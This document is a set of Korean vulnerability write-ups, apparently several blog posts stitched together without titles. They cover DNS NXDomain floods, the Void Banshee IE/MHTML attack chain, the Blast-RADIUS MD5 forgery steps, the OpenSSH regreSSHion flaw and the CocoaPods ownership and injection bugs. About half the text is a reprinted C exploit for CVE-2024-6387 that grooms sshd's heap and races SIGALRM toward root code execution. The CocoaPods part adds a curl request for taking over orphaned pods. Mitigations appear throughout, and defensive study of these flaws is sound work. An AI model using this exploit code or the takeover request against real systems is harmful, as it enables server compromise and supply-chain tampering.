- DNS 서버의 핵심적 열할 때문에 항상 주요 공격 표적이 됨 [1] > 23년 한 보고서에 따르면 DNS 서버를 대상으로 한 DDoS 공격은 22년 대비 약 4배 증가 [2] - 과거 DNS 서버 대상 위협이 확인되지 않던 과거와 달리 최근 국내 DNS 서버를 대상으로 한 공격이 식별 및 증가 추세 > 24년 초를 기점으로 유입되었던 소량의 이상 트래픽은 점차 증가 > DNS 서버가 짧은 기간 동안 지속적이면서도 반복적인 대량의 NXDomain 응답 반환 식별
2. 주요내용
2.1 DNS
- Domain Name Service: 도메인 네임(www[.]example[.]com)과 IP 주소(1.1.1[.]1)를 서로 변환하는 역할
> DNS Client는 DNS Resolver에게 도메인 네임의 IP 주소를 요청
> DNS Resolver는 Root 네임 서버, TLD(Top-Level Domain) 네임 서버, Authoritative 네임 서버에 질의를 전송 및 응답
2.2 NXDomain (Non-eXistent Domain)
- 질의한 도메인 네임이 존재하지 않을 때 응답 값
2.3 DDoS
2.3.1 NXDomain Flooding (Nonsense Name Attack)
- 2015년에 처음 알려진 공격 유형
- 존재하지 않는 도메인 질의를 요청할 시 권한(Authoritative) 네임 서버가 불필요한 자원을 소모한다는 점을 착안
> IP를 위•변조하여 존재하지 않는 도메인에 대한 다량의 질의를 통해 요청을 처리하는 DNS 서버의 자원을 소모시켜 서비스 거부 상황을 초래
※ 단순히 대상 DNS 서버의 자원을 소모시키는 목적을 지니므로 요청에 대한 응답을 받을 필요가 없으므로 IP 위•변조 가능
2.3.2 Sub-Domain Scan Attack
- Sub-Domain: 주 도메인에 추가된 하위 도메인
> 서로 다른 별도의 기능을 가진 웹사이트를 구분하여 운영하기 위해 사용
- 해당 공격은 공격자가 대상 도메인의 하위 도메인을 검색하여 네트워크 구조 파악 및 잠재적인 취약점을 찾기 위함
> 다양한 서브 도메인을 질의하여 존재 여부 확인을 목적으로 하며, 존재하지 않는 서브 도메인의 경우 NXDomain 응답
> 보호되지 않은 자원을 발견하거나 공격할 수 있는 새로운 경로를 찾는 것이 목적
※ DNSCewl(서로 다른 문자열을 조합하여 공격에 사용 가능한 새로운 문자열 생성하는 도구), haklistgen(외부 홈페이지를 스캔하여 서브 도메인, HTTP Response 페이로드에서 공격에 활용할 수 있는 문자열을 추출하는 도구) 등의 Tool 사용 [5][6]
※ 질의한 서브 도메인이 실제 존재하는지를 확인해야 하므로 IP 위•변조 불가
구분
NXDoamin Flooding
Sub-Domain Scan
공격 영향
DNS 서버의 자원에 과도한 부하 유발
트래픽 특징
높은 NXDomain 응답 비율
공격 목적
서비스 가용성 침해
취약한 도메인 식별
질의 도메인
무작위 도메인
존재 가능성 있는 도메인
출발지 IP 위•변조
가능
불가
3. 대응
- NSDomain Flooding은 과도한 응답을 유발시키는 것이 목적
> Response Rate Limiting (RRL)를 통해 NXDomain에대한 질의를 제한(nxdomains-per-second: 초당 NXDOMAIN 응답 수 제한) [7]
> L7 레벨에서 DNS서버의 NXDomain 응답 임계치를 설정하고, 임계치 이상의 응답이 있을 경우 해당 출발지 IP를 임시(or 영구) 차단
- Sub-Domain Scan은 취약하거나 새로운 공격 표면을 찾기 위한 목적
> 취약한 도메인이 외부에서 접속 가능한 상태로 운용되지 않도록 조치
> 또한, 조직 내부적으로 지속적인 공격 표면 관리(ASM, Attack Surface Management)를 통해 공격 표면을 줄이고 잠재적 위협을 사전에 차단해 보안 강화 필요
공격 표면 관리(ASM, Attack Surface Management) > 조직이 소유 및 운영하는 모든 자산을 지속적으로 모니터링 > 잠재적인 취약점 식별 및 이에 대한 대응 조치를 취하는 보안 전략 > 모든 서브 도메인과 경로를 포함한 전체 자산을 명확히 파악할 수 있으며, 내부 자산에 대한 가시성 확보 가능 > 노출된 공격 표면을 최소화하고 발견된 취약점을 신속히 조치함으로써 잠재적 공격 벡터를 줄일 수 있음
- 22.06 지원이 종료된 Internet Explorer(IE)를 활용한 공격이 확인 - IE와 같이 더 이상 지원되지 않는 시스템이 공격에 악용될 수 있다는 사례를 반증 - 해당 취약점은 제로데이로 악용되다 24.07 패치가 적용
2. 주요 내용
- 공격 단체 Void Banshee는 IE를 활용해 정보 탈취형 멀웨어 Atlantida를 배포 [1] > IE는 22.06.15 공식적으로 지원 종료 및 비활성화 처리 > 사용자가 IE를 실행하면 Edge 브라우저가 실행 됨 > 호환성(아직 IE로 콘텐츠를 로딩해야만 하는 특수한 경우 등)을 위해 Edge 브라우저에 IE 모드를 탑재 > IE의 일부 구성요소가 있어야 IE 모드가 정상적으로 작동하기 때문에 아직 남아있는 것
※ Edge 브라우저 > 설정 (우측 상단 ...) > 기본 브라우저 > IE 호환성에서 IE 모드 설정 가능
2.1 CVE-2024-38112 [2]
- Windows MHTML 플랫폼 스푸핑 취약점 > MHTML (MIME HTML): HTML 코드와 해당 코드를 구현하는 데 필요한 외부 자원들을 포함한 파일 [3][4] > 공격자는 MHTML과 x-usc를 사용해 해당 취약점을 악용 > x-usc: 웹 페이지 내에서 다른 웹 페이지를 포함하거나 리소스를 로드하는 데 사용
2.2 공격 과정
① 파일 유포
- 공격자는 PDF 파일을 압축(ZIP)하여 유포 > 온라인 라이브러리, 클라우드 공유 사이트, 디스코드, 미리 침해한 웹 사이트 등을 통해 유포 > 고도의 전문분야에 종사하는 사람들을 대상으로 공격을 진행하는 것으로 판단됨
② 악성 파일 실행
- 사용자가 압축 해제 후 PDF로 위장한 악성 파일을 실행 > 악성 파일은 PDF 아이콘으로 위장한 URL 파일 > 해당 파일은 MHTML과 x-usc를 사용해 IE 실행 및 악성 웹 사이트로 리다이렉션
③ HTA 파일 다운
- IE를 통해 해당 URL에 접속하여 HTA 파일을 다운 > IE는 Edge, Chrome과 달리 HTA 파일이 실행됨 > 26개의 공백을 포함하여 HTA 파일을 다운 Ex) 파일명.pdf<공백 26칸>.hta
④ PowerShell 명령 실행
- HTA 파일은 XOR로 암호호화된 콘텐츠를 복호화 하는 기능을 가진 VBScript가 포함 > 복호화된 스크립트는 또 다른 악성 스크립트 실행 반복
⑤ Atlantida 멀웨어 다운
- 최종적으로 정보 탈취 멀웨어 Atlantida를 다운 및 실행 > 수집된 모든 데이터를 ZIP 파일로 압축하고 TCP 포트 6655를 통해 공격자의 C&C 서버로 유출
※ 관련 IoC [5] 참고
2.3 결론
- 사용자가 더 이상 액세스할 수 없는 서비스를 공격자는 여전히 악용 가능 > 해당 서비스를 악용해 랜섬웨어, 백도어, 백도어 등을 유포 > IE 처럼 공격 표면이 크고, 더 이상 지원되지 않는 비활성화된 서비스의 경우 더 큰 파급력을 지님 > 또한, 오래된 컴퓨터ㆍSWㆍFirmware, 퇴사자 계정 등 관리 강조
- RADIUS 프로토콜에서 설계 결함으로 인한 취약점 발견 [1] - RADIUS 프로토콜이 개발되고 30년만에 처음으로 발견 - 익스플로잇에 성공할 경우 RADIUS를 기반으로 한 시스템과 네트워크에 자유롭게 출입할 수 있음 > 프로토콜 자체의 취약점이므로 모든 시스템이 영향을 받음
1.1 RADIUS (Remote Authentication Dial In User Service) [2]
- 클라이언트/서버 모델로, AAA 기능 구현을 위한 인증 프로토콜 (인증_Authentication, 권한부여_Authorization, 계정관리_Accounting) - ISP에서 사용하는 H/W 또는 S/W 등에 의한 원격 접속에 대한 인증용 서버를 지칭 - 사용자, RADIUS 클라이언트(인증 에이전트: VPN, WLAN, AP, NAS 등), RADIUS 서버(인증 서버)로 구성 - 원격 인증 및 접근 관리, 인증 및 권한 부여, 계정 감사 등의 기능을 제공
2. 주요내용
2.1 CVE-2024-3596 [3]
- RADIUS 프로토콜의 설계상 취약점으로 인해 발생하는 취약점
> 익스플로잇에 성공할 경우 로컬 네트워크에 아무 ID를 이용하여 인증 및 접근이 가능 > RADIUS 트래픽은 UDP를 통해 전송되며, MD5 기반의 암호화를 사용하므로 취약 > 개념 증명용 PoC가 개발되었으나 파급력이 너무 클 것으로 예상되어 공개하지 않음 > 공격자는 해시 충돌과 중간자 공격(RADIUS Client와 Server 사이)을 통해 익스플로잇
※ 해시 충돌: 서로 다른 입력 값이 동일한 출력 값을 가지는 상황
2.2 MD5 (Message-Digest algorithm 5) [4]
- 임의의 길이의 값을 입력받아 128Bit 길이의 해시값을 출력하는 알고리즘 - 1991년 설계되었고, 1996년 설계상 결함과 2004년, 2006년 해시 충돌 발견으로 사용이 권장되지 않음 [5]
2.3 공격 과정
- RADIUS Client는 Access-Request 메시지를 전송하고, RADIS Server는 Access-Reject 또는 Access-Accept 메시지로 응답 > Access-Reject 또는 Access-Accept 메시지는 Access-Request, 해시값, 클라이언트-서버간 공유 비밀을 활용해 Response Authenticator(MAC) 생성 > 공격자는 Response Authenticator 생성에 활용되는 해시값을 위조 ① ID and Request Authenticator: 공격자가 Access-Request에서 확인한 값 ② Code, Length, and Packet Attributes: 서버 응답 값(공격자가 예측) ③ Shared Secret: 클라이언트와 서버가 사전 공유한 비밀 값
- 전체적인 공격 과정은 다음과 같음
① 공격자는 잘못된 계정 정보를 이용해 로그인 요청 ② RADIUS Client는 Access-Request 메시지 전송 ③ 공격자는 중간에서 메시지를 가로채 MD5 해시 충돌 계산 > 공격자는 예상되는 Access-Reject와 위조하고자 하는 Access-Accept의 MD5 충돌 계산 > MD5(Access-Reject||RejectGibberish) == MD5(Access-Accept||AcceptGibberish)를 만족하는 RejectGibberish, AcceptGibberish ④ 충돌 계산을 마친 공격자는 Proxy-State로 위장하여 Access-Request 전송 > Access-Request에 RejectGibberish를 추가하여 > 요청과 응답을 가로채 위조하기 위해 Proxy-State를 활용하는 것으로 판단됨 ⑤ RADIUS Server는 Access-Request를 확인 및 Access-Reject 메시지 응답 > 잘못된 계정 정보를 시용하였기 때문에 요청 거절 > Access-Reject == MD5(Access-Reject||RejectGibberish||SharedSecret) ⑥ 공격자는 응답을 가로채 예상한 패턴(MD5 충돌)과 일치하는지 확인 > 예상한 패턴과 일치하는 경우 Access-Accept||AcceptGibberish로 변경하여 Client에 전송 ⑦ MD5 충돌로 RADIUS Client는 엑세스 권한 부여
2.3. 대응방안
① 단기완화: 클라이언트와 서버가 모든 요청과 응답에 대해 항상 Message-Authenticator 속성을 보내고 요구 ② 장기완화: RADIUS over TLS(RADSEC)로 업그레이드
- OpenSSH 생태계에서 새로운 취약점(RCE)이 발견 [1] > glibc 기반 Linux 시스템에서 OpenSSH 서버(sshd)에서 발생 > OpenSSH: SSH를 이용하여 암호화된 통신 세션을 제공하는 컴퓨터 프로그램의 모임 [2] - 해당 취약점은 2006년 이미 발견되어 수정된 취약점이 최근 패치로 인해 다시 발생된 것
2. 주요내용
- 해당 취약점은 과거 수정된 취약점이 최근 패치로 인해 다시 발생 > 기존에 잘 동작하던 S/W가 패치 이후 버그나 문제가 생기는 것을 Regression(회귀)이라 함 > 해당 취약점 또한 Regression으로 발생한 OpenSSH 취약점이란 의미로 regreSSHion 취약점이라 불림
2.1 CVE-2006-5051 [3]
- 취약한 버전의 OpenSSH에서 발생하는 서비스 거부 및 임의 코드 실행 취약점 (CVSS: 8.1)
① 신호 처리기 경쟁 조건이 발생할 경우 서비스 거부를 발생시킬 수 있음 > 신호 처리기는 시스템에서 발생하는 특정 이벤트(예: SIGTERM, SIGINT)에 대한 응답으로 실행되는 코드 > 공격자는 과도한 요청 통해 신호처리기에 과부하 및 서버 충돌을 유발하여 서비스 거부를 발생시키는 것으로 판단됨
② GSSAPI 인증이 활성화된 경우 임의 코드를 실행할 수 있음 > GSSAPI(Generic Security Service Application Program Interface) authentication: 시스템 간 보안 서비스에 대한 액세스를 제공하는 표준 인터페이스 [4] > 사용자 인증, 데이터 암호화, 메시지 무결성 등 다양한 보안 서비스를 위한 통합된 프레임워크를 제공
영향받는 버전: OpenSSH 4.4 이전 버전
2.2 CVE-2024-6387 [5]
- Open SSH 서버(sshd)에서 Regression으로 인해 발생하는 원격 코드 실행 취약점 (CVSS: 8.1) > 신호 처리기의 결함으로 경쟁 조건이 발생하며, 이를 악용해 인증 프로세스 중 서버에 임의의 코드를 삽입하고 실행할 수 있음 > 익스플로잇에 성공할 경우 서버를 완전히 제어할 수 있게 됨
영향받는 시스템: OpenSSH 8.5p1 ~ 9.7p1 이전 버전
- 취약점은 sshd가 클라이언트 인증을 처리하는 방식과 그에 따른 비동기 처리에서 비롯 [6] > 클라이언트가 sshd에 연결을 시도하면 서버는 지정된 기간인 'LoginGraceTime' 동안 대기
* 이 기간 동안 서버는 클라이언트가 성공적으로 인증할 수 있는지 확안
> 클라이언트가 지정된 시간 내 인증에 실패할 경우 비동기 신호 처리기 'SIGALRM'이 트리거되어 서버가 다른 작업을 수행할 수 있음
* SIGALRM: alarm 함수 등으로 설정한 타이머가 만료될 때 발생하는 시그널
> 취약한 버전의 경우, SIGALRM 신호 처리기는 'async-signal-unsafe' 함수를 호출 > 'async-signal-unsafe' 함수에서 경쟁 조건이 유발
2.3 PoC [7]
/** 7etsuo-regreSSHion.c
* -------------------------------------------------------------------------
* SSH-2.0-OpenSSH_9.2p1 Exploit
* -------------------------------------------------------------------------
*
* Exploit Title : SSH Exploit for CVE-2024-6387 (regreSSHion)
* Author : 7etsuo
* Date : 2024-07-01
*
* Description:
* Targets a signal handler race condition in OpenSSH's
* server (sshd) on glibc-based Linux systems. It exploits a vulnerability
* where the SIGALRM handler calls async-signal-unsafe functions, leading
* to rce as root.
*
* Notes:
* 1. Shellcode : Replace placeholder with actual payload.
* 2. GLIBC_BASES : Needs adjustment for specific target systems.
* 3. Timing parameters: Fine-tune based on target system responsiveness.
* 4. Heap layout : Requires tweaking for different OpenSSH versions.
* 5. File structure offsets: Verify for the specific glibc version.
* -------------------------------------------------------------------------
*/
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
int setup_connection (const char *ip, int port);
void send_packet (int sock, unsigned char packet_type,
const unsigned char *data, size_t len);
void prepare_heap (int sock);
void time_final_packet (int sock, double *parsing_time);
int attempt_race_condition (int sock, double parsing_time,
uint64_t glibc_base);
double measure_response_time (int sock, int error_type);
void create_public_key_packet (unsigned char *packet, size_t size,
uint64_t glibc_base);
void create_fake_file_structure (unsigned char *data, size_t size,
uint64_t glibc_base);
void send_ssh_version (int sock);
int receive_ssh_version (int sock);
void send_kex_init (int sock);
int receive_kex_init (int sock);
int perform_ssh_handshake (int sock);
int
main (int argc, char *argv[])
{
if (argc != 3)
{
fprintf (stderr, "Usage: %s <ip> <port>\n", argv[0]);
exit (1);
}
const char *ip = argv[1];
int port = atoi (argv[2]);
double parsing_time = 0;
int success = 0;
srand (time (NULL));
// Attempt exploitation for each possible glibc base address
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
{
uint64_t glibc_base = GLIBC_BASES[base_idx];
printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
// The advisory mentions "~10,000 tries on average"
for (int attempt = 0; attempt < 20000 && !success; attempt++)
{
if (attempt % 1000 == 0)
{
printf ("Attempt %d of 20000\n", attempt);
}
int sock = setup_connection (ip, port);
if (sock < 0)
{
fprintf (stderr, "Failed to establish connection, attempt %d\n",
attempt);
continue;
}
if (perform_ssh_handshake (sock) < 0)
{
fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
close (sock);
continue;
}
prepare_heap (sock);
time_final_packet (sock, &parsing_time);
if (attempt_race_condition (sock, parsing_time, glibc_base))
{
printf ("Possible exploitation success on attempt %d with glibc "
"base 0x%lx!\n",
attempt, glibc_base);
success = 1;
break;
}
close (sock);
usleep (100000); // 100ms delay between attempts, as mentioned in the
// advisory
}
}
return !success;
}
int
setup_connection (const char *ip, int port)
{
int sock = socket (AF_INET, SOCK_STREAM, 0);
if (sock < 0)
{
perror ("socket");
return -1;
}
struct sockaddr_in server_addr;
memset (&server_addr, 0, sizeof (server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons (port);
if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
{
perror ("inet_pton");
close (sock);
return -1;
}
if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
< 0)
{
perror ("connect");
close (sock);
return -1;
}
// Set socket to non-blocking mode
int flags = fcntl (sock, F_GETFL, 0);
fcntl (sock, F_SETFL, flags | O_NONBLOCK);
return sock;
}
void
send_packet (int sock, unsigned char packet_type, const unsigned char *data,
size_t len)
{
unsigned char packet[MAX_PACKET_SIZE];
size_t packet_len = len + 5;
packet[0] = (packet_len >> 24) & 0xFF;
packet[1] = (packet_len >> 16) & 0xFF;
packet[2] = (packet_len >> 8) & 0xFF;
packet[3] = packet_len & 0xFF;
packet[4] = packet_type;
memcpy (packet + 5, data, len);
if (send (sock, packet, packet_len, 0) < 0)
{
perror ("send_packet");
}
}
void
send_ssh_version (int sock)
{
const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)
{
perror ("send ssh version");
}
}
int
receive_ssh_version (int sock)
{
char buffer[256];
ssize_t received;
do
{
received = recv (sock, buffer, sizeof (buffer) - 1, 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
if (received > 0)
{
buffer[received] = '\0';
printf ("Received SSH version: %s", buffer);
return 0;
}
else if (received == 0)
{
fprintf (stderr, "Connection closed while receiving SSH version\n");
}
else
{
perror ("receive ssh version");
}
return -1;
}
void
send_kex_init (int sock)
{
unsigned char kexinit_payload[36] = { 0 };
send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));
}
int
receive_kex_init (int sock)
{
unsigned char buffer[1024];
ssize_t received;
do
{
received = recv (sock, buffer, sizeof (buffer), 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
if (received > 0)
{
printf ("Received KEX_INIT (%zd bytes)\n", received);
return 0;
}
else if (received == 0)
{
fprintf (stderr, "Connection closed while receiving KEX_INIT\n");
}
else
{
perror ("receive kex init");
}
return -1;
}
int
perform_ssh_handshake (int sock)
{
send_ssh_version (sock);
if (receive_ssh_version (sock) < 0)
return -1;
send_kex_init (sock);
if (receive_kex_init (sock) < 0)
return -1;
return 0;
}
void
prepare_heap (int sock)
{
// Packet a: Allocate and free tcache chunks
for (int i = 0; i < 10; i++)
{
unsigned char tcache_chunk[64];
memset (tcache_chunk, 'A', sizeof (tcache_chunk));
send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
// These will be freed by the server, populating tcache
}
// Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
for (int i = 0; i < 27; i++)
{
// Allocate large chunk (~8KB)
unsigned char large_hole[8192];
memset (large_hole, 'B', sizeof (large_hole));
send_packet (sock, 5, large_hole, sizeof (large_hole));
// Allocate small chunk (320B)
unsigned char small_hole[320];
memset (small_hole, 'C', sizeof (small_hole));
send_packet (sock, 5, small_hole, sizeof (small_hole));
}
// Packet c: Write fake headers, footers, vtable and _codecvt pointers
for (int i = 0; i < 27; i++)
{
unsigned char fake_data[4096];
create_fake_file_structure (fake_data, sizeof (fake_data),
GLIBC_BASES[0]);
send_packet (sock, 5, fake_data, sizeof (fake_data));
}
// Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
unsigned char large_string[MAX_PACKET_SIZE - 1];
memset (large_string, 'E', sizeof (large_string));
send_packet (sock, 5, large_string, sizeof (large_string));
}
void
create_fake_file_structure (unsigned char *data, size_t size,
uint64_t glibc_base)
{
memset (data, 0, size);
struct
{
void *_IO_read_ptr;
void *_IO_read_end;
void *_IO_read_base;
void *_IO_write_base;
void *_IO_write_ptr;
void *_IO_write_end;
void *_IO_buf_base;
void *_IO_buf_end;
void *_IO_save_base;
void *_IO_backup_base;
void *_IO_save_end;
void *_markers;
void *_chain;
int _fileno;
int _flags;
int _mode;
char _unused2[40];
void *_vtable_offset;
} *fake_file = (void *)data;
// Set _vtable_offset to 0x61 as described in the advisory
fake_file->_vtable_offset = (void *)0x61;
// Set up fake vtable and _codecvt pointers
*(uint64_t *)(data + size - 16)
= glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)
*(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt
}
void
time_final_packet (int sock, double *parsing_time)
{
double time_before = measure_response_time (sock, 1);
double time_after = measure_response_time (sock, 2);
*parsing_time = time_after - time_before;
printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}
double
measure_response_time (int sock, int error_type)
{
unsigned char error_packet[1024];
size_t packet_size;
if (error_type == 1)
{
// Error before sshkey_from_blob
packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");
}
else
{
// Error after sshkey_from_blob
packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");
}
struct timespec start, end;
clock_gettime (CLOCK_MONOTONIC, &start);
send_packet (sock, 50, error_packet,
packet_size); // SSH_MSG_USERAUTH_REQUEST
char response[1024];
ssize_t received;
do
{
received = recv (sock, response, sizeof (response), 0);
}
while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
clock_gettime (CLOCK_MONOTONIC, &end);
double elapsed
= (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
return elapsed;
}
void
create_public_key_packet (unsigned char *packet, size_t size,
uint64_t glibc_base)
{
memset (packet, 0, size);
size_t offset = 0;
for (int i = 0; i < 27; i++)
{
// malloc(~4KB) - This is for the large hole
*(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);
offset += CHUNK_ALIGN (4096);
// malloc(304) - This is for the small hole (potential FILE structure)
*(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);
offset += CHUNK_ALIGN (304);
}
// Add necessary headers for the SSH public key format
memcpy (packet, "ssh-rsa ", 8);
// Place shellcode in the heap via previous allocations
memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode,
sizeof (shellcode));
// Set up the fake FILE structures within the packet
for (int i = 0; i < 27; i++)
{
create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)
+ CHUNK_ALIGN (304) * i,
CHUNK_ALIGN (304), glibc_base);
}
}
int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{
unsigned char final_packet[MAX_PACKET_SIZE];
create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);
// Send all but the last byte
if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
{
perror ("send final packet");
return 0;
}
// Precise timing for last byte
struct timespec start, current;
clock_gettime (CLOCK_MONOTONIC, &start);
while (1)
{
clock_gettime (CLOCK_MONOTONIC, ¤t);
double elapsed = (current.tv_sec - start.tv_sec)
+ (current.tv_nsec - start.tv_nsec) / 1e9;
if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
{ // 1ms before SIGALRM
if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)
{
perror ("send last byte");
return 0;
}
break;
}
}
// Check for successful exploitation
char response[1024];
ssize_t received = recv (sock, response, sizeof (response), 0);
if (received > 0)
{
printf ("Received response after exploit attempt (%zd bytes)\n",
received);
// Analyze response to determine if we hit the "large" race window
if (memcmp (response, "SSH-2.0-", 8) != 0)
{
printf ("Possible hit on 'large' race window\n");
return 1;
}
}
else if (received == 0)
{
printf (
"Connection closed by server - possible successful exploitation\n");
return 1;
}
else if (errno == EWOULDBLOCK || errno == EAGAIN)
{
printf ("No immediate response from server - possible successful "
"exploitation\n");
return 1;
}
else
{
perror ("recv");
}
return 0;
}
int
perform_exploit (const char *ip, int port)
{
int success = 0;
double parsing_time = 0;
double timing_adjustment = 0;
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
{
uint64_t glibc_base = GLIBC_BASES[base_idx];
printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
for (int attempt = 0; attempt < 10000 && !success; attempt++)
{
if (attempt % 1000 == 0)
{
printf ("Attempt %d of 10000\n", attempt);
}
int sock = setup_connection (ip, port);
if (sock < 0)
{
fprintf (stderr, "Failed to establish connection, attempt %d\n",
attempt);
continue;
}
if (perform_ssh_handshake (sock) < 0)
{
fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
close (sock);
continue;
}
prepare_heap (sock);
time_final_packet (sock, &parsing_time);
// Implement feedback-based timing strategy
parsing_time += timing_adjustment;
if (attempt_race_condition (sock, parsing_time, glibc_base))
{
printf ("Possible exploitation success on attempt %d with glibc "
"base 0x%lx!\n",
attempt, glibc_base);
success = 1;
// In a real exploit, we would now attempt to interact with the
// shell
}
else
{
// Adjust timing based on feedback
timing_adjustment += 0.00001; // Small incremental adjustment
}
close (sock);
usleep (100000); // 100ms delay between attempts, as mentioned in the
// advisory
}
}
return success;
}
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [8]
영향받는 버전
해결 버전
OpenSSH 4.4p1 이전 버전
9.8p1
OpenSSH 8.5p1 ~ 9.8p1 이전 버전
* 4.4p1 이전 버전: CVE-2006-5051, CVE-2008-4109 취약점에 대한 패치가 되어 있을 경우 안전 * 4.4p1 ~ 8.5p1 이전 버전: CVE-2006-5051 취약점 패치가 적용되어 있을 경우 안전 * 8.5p1 ~ 9.8p1 이전 버전: 9.8p1 버전으로 업데이트 적용 * 오픈BSD(OpenBSD) 시스템들은 전부 안전하다.
- 기타 > SSH에 대한 접근 제어, 로그 모니터링 > LoginGraceTime 시간 수정 > OpenSSH regreSSHion 취약점 여부 확인 스크립트 활용 [9]
- Apple에서 나온 거의 모든 장비에 영향을 주는 10년간 방치되어 있다 발견 [1] - 취약점은 종속성 관리자 CocoaPods 프로그램에서 발생 [2] - 악용한 시도는 아직까지 확인되지 않았으며, 취약점은 패치됨
1.1 관련 용어
구분
설명
Pod
프로젝트의 Dependency 상황을 서술하고 있는 파일
Dependency(의존성)
소프트웨어를 구성하는 요소들끼리 상호 의존하는 관계
CocoaPods
Swift와 Objective-C 언어로 만들어진 애플리케이션들의 디펜던시 관리를 편리하게 해 주는 오픈소스로, 팟들을 관리
Swift
개발 언어 중 하나
Objective-C
Trunk
코코아팟즈와 연결된 서버로, 팟들을 저장하고 관리
2. 주요내용
2.1 CocoaPods 마이그레이션
- 2014년 CocoaPods은 새롭게 구축한 Trunk 서버로 마이그레이션 - 마이그레이션으로 인해 모든 Pod의 소유자가 초기화 - Pod의 원 소유자들은 CocoaPods에 연락해 Pod에 대한 소유권을 주장 - 그러나 일부 Pod 소유자들은 소유권을 주장하지 않았고, 1,870개의 Pod가 주인 없이 방치
2.2 CVE-2024-38368 [3]
- 임의의 사용자가 방치된 Pod의 소유권을 획득할 수 있는 취약점 (CVSS: 9.3)
> 누구나 Pod에 접근 및 내용을 수정이 가능하여 악성코드 삽입 가능 > 방치된 Pod는 기본 CocoaPods 계정(unclaimed-pods[@]cocoapods.org)과 연결되어 있었음 > 또한, Pod의 소유권을 주장할 수 있는 공개 API 엔드포인트가 사용가능해 누구나 검증 없이 Pod의 소유권을 획득할 수 있었음
- 공격자는 해당 API에 대상 Pod를 포함한 간단한 CURL 요청을 통해 소유권 획득 가능
# Curl request for changing ownership of a targeted orphaned pod curl -X 'POST' \ -H 'Host: trunk.cocoapods.org' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-binary 'owner[name]=EVA&email=research@evasec.io' --data-binary 'pods[]=[TARGET_UNCLAIMED_POD]&button=SEND' 'hxxps://trunk.cocoapods.org/claims'
2.3 CVE-2024-38366 [4]
- 이메일 도메인의 MX 레코드 유효성을 확인하는 rfc-822 라이브러리에의해 발생하는 원격 코드 실행 취약점 (CVSS: 10.0)
> rfc-822 라이브러리는 MX 레코드 유효성 검증을 위해 셸 명령을 실행하여 이로 인해 원격 코드 실행이 가능해짐 > 익스플로잇에 성공시 모든 Pod 소유자들의 세션 토큰 덤프하고 클라이언트 트래픽 조작 가능하며, 서버 자체를 완전히 셧다운 시키는 것도 가능
① mx_records() > 38행: 이메일 주소를 받아 모듈의 EMAIL 정규식 패턴과 비교하여 검증 > 41행: 제공된 이메일 주소에서 분할된 도메인 부분을 이용해 raw_mx_records() 호출 ② raw_mx_records() > 49~51행: 도메인 부분 수신 및 DNS MX 레코드 검증을 위해 host_mx() 호출 ③ host_mx() > 53~55행: 임의의 OS 명령 '/usr/bin/env host -t MX #{domain}'을 실행하고, 이를 사용자가 제공한 이메일의 도메인과 연결 > 적절한 검증 없이 제공된 이메일 주소에 대해 OS 명령을 실행하여 취약점 발생
2.4 CVE-2024-38367 [6]
- 사용자들의 상호작용 없이 세션 인증 토큰을 탈취할 수 있는 제로클릭 취약점 (CVSS: 8.2)
> 취약점은 세션 유효성 검사 URL을 구성하는 sessions_controller 클래스의 'Trunk' 서버 소스 코드에 위치
① request.host_wth_port() > 21행: 세션 검증 URL의 도메인 부분을 생성하며, 새 세션이 생성 및 생성된 링크가 이메일을 통해 전송 > request.host_wth_port()는 Host 헤더나 다른 환경 변수 값보다 X-Forwarded-Host 헤더를 우선시
